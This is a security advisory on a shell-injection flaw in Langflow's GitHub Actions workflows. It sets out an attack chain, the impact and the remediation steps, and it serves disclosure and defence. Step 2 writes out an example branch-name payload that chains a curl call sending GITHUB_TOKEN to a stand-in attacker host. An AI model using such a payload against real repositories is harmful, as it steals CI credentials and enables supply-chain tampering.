Attack Chain

1. The attacker forks the Langflow repository on GitHub.
2. The attacker creates a new branch with a specially crafted name containing a shell injection payload, such as injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN.
3. The attacker submits a pull request from the malicious branch to the main branch of the forked repository.
4. GitHub Actions is triggered to run the affected workflow (e.g., deploy-docs-draft.yml).
5. Within the workflow, the run: step attempts to use the unsanitized branch name via ${{ github.head_ref }}.
6. The injected shell command executes, sending the GITHUB_TOKEN to an attacker-controlled server.
7. The attacker receives the GITHUB_TOKEN and can now authenticate to the GitHub API with the privileges of the affected workflow.
8. The attacker leverages the compromised GITHUB_TOKEN to push malicious code, create new releases, or tamper with other aspects of the software supply chain.

Impact

This vulnerability allows for arbitrary code execution within the GitHub Actions CI/CD environment. A successful attack grants full access to CI secrets, potentially leading to the exfiltration of the GITHUB_TOKEN. The attacker can then push malicious tags or container images, tamper with releases, or leak sensitive infrastructure data. Given the nature of CI/CD pipelines, a compromise could have far-reaching effects on any project that depends on the affected Langflow repository or its forks. The number of potential victims is directly proportional to the number of Langflow forks with enabled GitHub Actions.

Recommendation

• Upgrade to Langflow version 1.9.0 or later to patch CVE-2026-33475.
• Examine GitHub Actions workflows for direct interpolation of GitHub context variables in run: steps, particularly those involving user-controlled values like branch names and pull request titles (e.g., in .github/workflows/deploy-docs-draft.yml).
• Implement proper sanitization or quoting of untrusted inputs before using them in shell commands within GitHub Actions workflows.
• Adopt the suggested fix of using environment variables and wrapping them in double quotes when referencing GitHub context variables within run: steps (as described in the overview).
• Deploy the Sigma rule Detect Github Actions Shell Injection via Branch Name to identify potentially malicious branch names used in pull requests.